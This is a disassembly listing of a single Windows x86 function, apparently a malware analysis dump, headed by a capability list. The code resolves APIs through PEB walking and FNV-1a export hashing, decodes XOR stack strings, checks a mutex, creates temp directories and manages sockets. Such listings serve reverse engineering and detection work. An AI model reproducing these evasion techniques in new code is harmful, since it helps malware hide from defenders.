Function at 0x45eba0
Capabilities:
Access peb ldr_data
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x502830
push eax
mov dword fs:[0], esp
sub esp, 0x80c
push ebx
push esi
push edi
push 0x1f
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00414600
mov ebx, eax
mov ecx, edx
shrd eax, ecx, 0x10
mov ecx, ebx
shrd ecx, edx, 8
movzx esi, al
movzx eax, cl
mov ecx, 0x533b34
add esi, eax
movzx eax, bl
add esi, eax
call fcn.004027a0
push eax
call fcn.004e9fd7
add esp, 4
xor ecx, ecx
add esi, eax
call fcn.00402e20
add eax, 0x60
add eax, esi
push eax
call fcn.004e233e
add esp, 4
push 0x100
push 0
push 0x535eb0
call fcn.004de6d0
add esp, 0xc
mov ecx, 0x533b34
call fcn.00402650
push eax
mov ecx, 0x533b34
call fcn.004027a0
push eax
push 0x535eb0
call fcn.004de150
add esp, 0xc
mov ecx, 0x533b64
call fcn.00402650
push eax
mov ecx, 0x533b64
call fcn.004027a0
push eax
push 0x535f14
call fcn.004de150
add esp, 0xc
mov ecx, 0x533b34
call fcn.004027a0
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45ec80
sub eax, edx
mov ecx, 0x533b34
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x31c]
call fcn.00402740
push eax
mov ecx, 0x533b34
call fcn.00465430
lea ecx, [ebp - 0x31c]
call fcn.00402660
mov ecx, 0x533c3c
call fcn.004027a0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x45ecc3
sub eax, edx
mov ecx, 0x533c3c
push eax
call fcn.004027a0
push eax
lea ecx, [ebp - 0x334]
call fcn.00402740
push eax
mov ecx, 0x533c3c
call fcn.00465430
lea ecx, [ebp - 0x334]
call fcn.00402660
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0045e9e0
test al, al
jne 0x45ed25
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x200
lea eax, [ebp - 0x710]
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x710]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x710]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.00402700
sub esp, 0x18
lea eax, [ebp - 0x3e8]
mov ecx, esp
push eax
call fcn.004655b0
mov edx, 0x1e8481
lea ecx, [ebp - 0x1f4]
call fcn.0040b680
add esp, 0x18
mov ecx, 0x536270
call fcn.00402650
mov edx, dword [ebp - 0x1f4]
xor edi, edi
mov dword [ebp - 0x24], eax
mov ecx, dword [edx + 0x10]
sub ecx, eax
je 0x45ee9b
mov ecx, 0x536270
call fcn.004027a0
mov edx, dword [ebp - 0x1f4]
mov esi, eax
mov eax, edx
cmp dword [eax + 0x14], 0x10
jb 0x45edc1
mov eax, dword [edx]
mov ecx, dword [eax + edi]
cmp ecx, dword [esi]
jne 0x45ee05
mov eax, dword [eax + edi + 4]
cmp eax, dword [esi + 4]
jne 0x45ee05
lea ecx, [ebp - 0x1f4]
call fcn.00464220
mov ecx, eax
call fcn.004027a0
mov ecx, 0x536270
mov esi, dword [eax + edi + 8]
mov ebx, dword [eax + edi + 0xc]
call fcn.004027a0
cmp esi, dword [eax + 8]
jne 0x45edff
cmp ebx, dword [eax + 0xc]
je 0x45ee15
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x10]
inc edi
sub eax, dword [ebp - 0x24]
cmp edi, eax
jb 0x45eda5
jmp 0x45ee9b
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x2e], 0x6150732
mov dword [ebp - 0x2a], 0x4d0c0400
mov word [ebp - 0x26], 0x100
call fcn.0040e990
movaps xmm0, xmmword [0x525e70]
lea ecx, [ebp - 0x284]
movups xmmword [ebp - 0x284], xmm0
mov esi, eax
mov dword [ebp - 0x254], 0xf1b7f8e0
movaps xmm0, xmmword [0x526090]
movups xmmword [ebp - 0x274], xmm0
mov dword [ebp - 0x250], 0x100a5ed
movaps xmm0, xmmword [0x5264e0]
movups xmmword [ebp - 0x264], xmm0
call fcn.00444e30
push 0x14
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x45ee95
lea esi, [eax + 5]
jmp 0x461a1e
mov edx, dword [ebp - 0x1f4]
push 0
mov ecx, edx
mov dword [ebp - 4], 0
call fcn.00467cf0
push 0x1e0f2
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], 0xd121411
mov word [ebp - 0x30], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x34]
mov ecx, 0x533b7c
push eax
call fcn.00465020
test eax, eax
jne 0x45f068
call fcn.004147c0
test al, al
je 0x45efa5
mov eax, dword fs:[0x30]
mov dword [ebp - 0x210], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x54], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0xb0], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0xb0], ecx
cmp ecx, esi
je 0x45ef7c
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45ef7c
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45ef75
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45ef58
cmp esi, 0xe80fd3a
je 0x45ef80
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45ef43
mov eax, dword [eax]
jmp 0x45ef10
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x54]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x210]
jmp 0x45f05d
call fcn.00414900
test al, al
jne 0x45f068
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45f039
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f039
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f032
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f015
cmp esi, 0xe80fd3a
je 0x45f03d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f000
mov eax, dword [eax]
jmp 0x45efd0
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x14c]
add esi, edx
call fcn.00467280
push dword [eax]
call esi
lea ecx, [ebp - 0x106]
mov dword [ebp - 0x106], 0xd121411
mov word [ebp - 0x102], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x106]
mov ecx, 0x533b1c
push eax
call fcn.00465020
test eax, eax
jne 0x45f175
call fcn.00414940
mov bl, al
call fcn.004149d0
mov bh, al
call fcn.00414c30
test bl, bl
jne 0x45f0cd
test bh, bh
jne 0x45f0cd
test al, al
jne 0x45f0cd
call fcn.00414800
test al, al
je 0x45f175
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45f149
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f149
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f142
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f125
cmp esi, 0xe80fd3a
je 0x45f14d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f110
mov eax, dword [eax]
jmp 0x45f0e0
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x14]
add esi, edx
call fcn.00467280
push dword [eax]
call esi
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0xd121411
mov word [ebp - 0x108], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x10c]
mov ecx, 0x533c24
push eax
call fcn.00465020
test eax, eax
jne 0x45f1b2
lea ecx, [eax + 1]
call fcn.00414de0
lea ecx, [ebp - 0x112]
mov dword [ebp - 0x112], 0xd121411
mov word [ebp - 0x10e], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x112]
mov ecx, 0x533c0c
push eax
call fcn.00465020
test eax, eax
jne 0x45f1ec
call fcn.00417d90
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x118], 0xd121411
mov word [ebp - 0x114], 0x100
call fcn.00462730
push 0
lea eax, [ebp - 0x118]
mov ecx, 0x533b04
push eax
call fcn.00465020
test eax, eax
mov dword [ebp - 0x159], 0x90f12
lea ecx, [ebp - 0x159]
mov dword [ebp - 0x155], 0x421b1e1d
setne byte [ebp - 0x15]
mov dword [ebp - 0x151], 0x30209
mov byte [ebp - 0x14d], 1
call fcn.004626d0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45f2c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f2c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f2c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f2a5
cmp esi, 0x53b2070f
je 0x45f2cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f290
mov eax, dword [eax]
jmp 0x45f260
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x159]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x45f2fd
xor esi, esi
jmp 0x461a1e
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x1b4], 0x21292f32
mov dword [ebp - 0x1b0], 0x423f2f27
mov dword [ebp - 0x1ac], 0x232229
mov byte [ebp - 0x1a8], 1
call fcn.0040d520
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004801c0
lea ecx, [ebp - 0x8a]
mov word [ebp - 0x8a], 0x5f
mov byte [ebp - 0x88], 1
call fcn.004628e0
push 0
lea eax, [ebp - 0x8a]
mov ecx, 0x533b64
push eax
call fcn.00465020
cmp eax, 0xffffffff
je 0x45f402
sub esp, 0x18
mov word [ebp - 0xd3], 0x5f
lea ecx, [ebp - 0xd3]
mov byte [ebp - 0xd1], 1
mov esi, esp
call fcn.00409f20
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov ecx, esp
push 0x533b64
call fcn.004655b0
lea ecx, [ebp - 0x234]
call fcn.0040bf50
add esp, 0x30
lea ecx, [ebp - 0x234]
call fcn.004641f0
cmp eax, 2
jne 0x45f3f7
push 1
lea ecx, [ebp - 0x234]
call fcn.004641d0
push eax
mov ecx, 0x5360c8
call fcn.00465400
push 0
lea ecx, [ebp - 0x234]
call fcn.004641d0
push eax
mov ecx, 0x533b64
call fcn.00465400
lea ecx, [ebp - 0x234]
call fcn.004642e0
push 0
push 0
push 0
push 0x41e7a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x533aac], 0xffffffff
jne 0x45f4da
nop dword [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb0], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x54], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x54], ecx
cmp ecx, esi
je 0x45f4a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f4a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f4a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f485
cmp esi, 0x2fa62ca8
je 0x45f4ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f470
mov eax, dword [eax]
jmp 0x45f440
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0xb0]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x533aac], 0xffffffff
je 0x45f430
lea ecx, [ebp - 0x131]
mov dword [ebp - 0x131], 0x1003c3f
call fcn.00409f30
push eax
lea ecx, [ebp - 0x228]
call fcn.00402700
mov ecx, 0x104
lea eax, [ebp - 0x818]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45f506
lea eax, [ebp - 0x818]
push eax
push 0xfb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xc
lea ecx, [ebp - 0x3b4]
call fcn.0040c2b0
lea eax, [ebp - 0x3b4]
mov dword [ebp - 0x160], 0xa080204
push eax
lea ecx, [ebp - 0x160]
mov word [ebp - 0x15c], 0xc
mov byte [ebp - 0x15a], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x450]
call fcn.00402700
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x438]
call fcn.00469420
add esp, 4
lea ecx, [ebp - 0x420]
mov edx, eax
call fcn.00469520
add esp, 4
mov ecx, 0x533aec
push eax
call fcn.00465430
lea ecx, [ebp - 0x420]
call fcn.00402660
lea ecx, [ebp - 0x438]
call fcn.00402660
lea ecx, [ebp - 0x450]
call fcn.00402660
lea eax, [ebp - 0x3b4]
mov dword [ebp - 0xa3], 0xc0e030d
push eax
lea ecx, [ebp - 0xa3]
mov word [ebp - 0x9f], 0
mov byte [ebp - 0x9d], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x480]
call fcn.00402700
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x468]
call fcn.00469420
add esp, 4
lea ecx, [ebp - 0x24c]
mov edx, eax
call fcn.00469520
add esp, 4
lea ecx, [ebp - 0x468]
call fcn.00402660
lea ecx, [ebp - 0x480]
call fcn.00402660
mov ecx, 0x533aec
call fcn.004027a0
mov ecx, eax
call fcn.0040bab0
test al, al
je 0x45f655
push 0
mov dl, 1
mov ecx, 0x533aec
call fcn.0040bb70
add esp, 4
lea ecx, [ebp - 0x24c]
call fcn.004027a0
mov ecx, eax
call fcn.0040bab0
test al, al
je 0x45f67d
push 0
mov dl, 1
lea ecx, [ebp - 0x24c]
call fcn.0040bb70
add esp, 4
mov ecx, 0x533aec
call fcn.004027a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call esi
test eax, eax
jne 0x45f6a8
mov ecx, 0x533aec
call fcn.00415c80
test al, al
je 0x46180b
push 0
lea ecx, [ebp - 0x24c]
call fcn.004027a0
push eax
call esi
test eax, eax
jne 0x45f6c7
lea ecx, [ebp - 0x24c]
call fcn.00415c80
lea ecx, [ebp - 0x24c]
call fcn.004027a0
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45f749
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f749
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45f742
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45f725
cmp esi, 0x7a5b9fa2
je 0x45f74d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45f710
mov eax, dword [eax]
jmp 0x45f6e1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x10]
add esi, edx
call fcn.00467280
push dword [eax]
call esi
lea eax, [ebp - 0x24c]
mov ecx, 0x533b94
push eax
call fcn.00465400
call fcn.00416060
test al, al
je 0x45f95f
cmp byte [ebp - 0x15], 0
jne 0x45f95f
push 0x533b34
lea ecx, [ebp - 0x67]
mov dword [ebp - 0x67], 0xb0e0a16
mov dword [ebp - 0x63], 0x5073902
mov dword [ebp - 0x5f], 0x1e2e0b09
mov word [ebp - 0x5b], 0x15
mov byte [ebp - 0x59], 1
call fcn.0040a230
mov edx, eax
lea ecx, [ebp - 0x31c]
call fcn.004693c0
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x31c]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4619fb
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x1e
push 0x3e8
call ebx
sub esi, 1
jne 0x45f812
sub esp, 0x18
mov dword [ebp - 0x2e], 0x2b29302d
lea ecx, [ebp - 0x2e]
mov dword [ebp - 0x2a], 0x70e47
mov word [ebp - 0x26], 0x100
mov esi, esp
call fcn.0040e990
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041ec60
mov ecx, dword [0x536168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536164]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x45f893
nop
push 0x30
call ebx
mov ecx, dword [0x536168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536164]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x45f870
push 2
push dword [0x533aac]
mov byte [0x535e81], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x14], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x45f934
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45f934
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x45f92d
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x45f910
cmp esi, 0x2fa62ca8
je 0x45f938
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x45f8f5
mov eax, dword [eax]
jmp 0x45f8d0
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x1cf
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x45f8c0
lea ecx, [ebp - 0x8f]
mov byte [0x535eab], 0
mov word [ebp - 0x8f], 0x19
mov byte [ebp - 0x8d], 1
call fcn.00409f20
lea ecx, [ebp - 0x370]
mov ebx, eax
call fcn.0040cc90
push 0
push 0x15d23
mov edi, eax
call fcn.00407d20
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [0x533aac]
lea ecx, [ebp - 0x498]
mov esi, esp
mov dword [ebp - 0x14], eax
mov edx, edi
push 0x533b34
push ebx
call fcn.00469360
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.00469520
mov edx, dword [ebp - 0x10]
add esp, 4
mov ecx, dword [ebp - 0x14]
call fcn.0041dbe0
add esp, 0x18
lea ecx, [ebp - 0x498]
mov bl, al
call fcn.00402660
lea ecx, [ebp - 0x370]
call fcn.00402660
test bl, bl
je 0x45fac2
cmp byte [0x535eab], 0
jne 0x45fac2
nop dword [eax]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x90], 0x64
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x45fa89
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45fa89
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45fa82
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45fa65
cmp esi, 0x2fa62ca8
je 0x45fa8d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45fa50
mov eax, dword [eax]
jmp 0x45fa26
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x90]
add esi, edx
call fcn.00467280
push dword [eax]
call esi
cmp byte [0x535eab], 0
je 0x45fa10
mov edx, 0x533ad4
lea ecx, [ebp - 0x27c]
call fcn.0041be50
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x228]
call fcn.00465400
cmp dword [0x533ae4], 0
jne 0x45fb6c
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x218], 0
jne 0x45fb6c
mov edx, 0x533ad4
lea ecx, [ebp - 0x388]
call fcn.0041be50
mov esi, eax
lea ecx, [ebp - 0x27c]
push esi
call fcn.00465430
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x264]
call fcn.00465430
lea ecx, [ebp - 0x370]
call fcn.00402660
lea ecx, [ebp - 0x388]
call fcn.00402660
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x228]
call fcn.00465400
push 0
push 0x138a6
call fcn.00407d20
add esp, 8
push eax
call edi
cmp dword [0x533ae4], 0
je 0x45faf3
mov ecx, 0x533ad4
call fcn.004027a0
push 0x520ad0
push eax
call fcn.004ddd40
add esp, 8
test eax, eax
je 0x45fc1e
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x100]
call fcn.004027f0
push 1
push 0x520830
lea ecx, [ebp - 0x100]
call fcn.00402810
push edi
lea ecx, [ebp - 0x20c]
call fcn.004027f0
push 1
push 0x520ad0
lea ecx, [ebp - 0x20c]
call fcn.00402810
lea eax, [ebp - 0x100]
mov ecx, 0x533ad4
push eax
lea edx, [ebp - 0x20c]
call fcn.0040c250
add esp, 4
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x100]
call fcn.00402660
mov ecx, 0x533ad4
call fcn.004027a0
push 0x520ad0
push eax
call fcn.004ddd40
add esp, 8
test eax, eax
jne 0x45fb92
lea ecx, [ebp - 0x135]
mov dword [ebp - 0x135], 0x1003337
call fcn.00409f30
push eax
lea ecx, [ebp - 0x600]
call fcn.00402700
lea ecx, [ebp - 0x139]
mov dword [ebp - 0x139], 0x1003c2e
call fcn.00409f30
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00402700
lea ecx, [ebp - 0x13d]
mov dword [ebp - 0x13d], 0x1003f27
call fcn.00409f30
push eax
lea ecx, [ebp - 0x5d0]
call fcn.00402700
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0x1002b24
call fcn.00409f30
push eax
lea ecx, [ebp - 0x5b8]
call fcn.00402700
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x1003c30
call fcn.00409f30
push eax
lea ecx, [ebp - 0x5a0]
call fcn.00402700
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x1002228
call fcn.00409f30
push eax
lea ecx, [ebp - 0x588]
call fcn.00402700
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x78], 0x100212e
call fcn.00409f30
push eax
lea ecx, [ebp - 0x570]
call fcn.00402700
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0x1002c31
call fcn.00409f30
push eax
lea ecx, [ebp - 0x558]
call fcn.00402700
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x1002730
call fcn.00409f30
push eax
lea ecx, [ebp - 0x540]
call fcn.00402700
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x1003c24
call fcn.00409f30
push eax
lea ecx, [ebp - 0x528]
call fcn.00402700
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x3d0]
call fcn.00462170
lea ecx, [ebp - 0x408]
push dword [eax + 4]
push dword [eax]
call fcn.00461a90
push fcn.00402660
push 0xa
push 0x18
lea eax, [ebp - 0x600]
push eax
call fcn.004dc735
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x408]
call fcn.0046a250
test eax, eax
je 0x45fddb
movaps xmm0, xmmword [0x5253d0]
lea ecx, [ebp - 0x2bc]
movups xmmword [ebp - 0x2bc], xmm0
mov dword [ebp - 0x2ac], 0x1000506
call fcn.0040ea20
push 0x520a68
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x45fddb
push 0
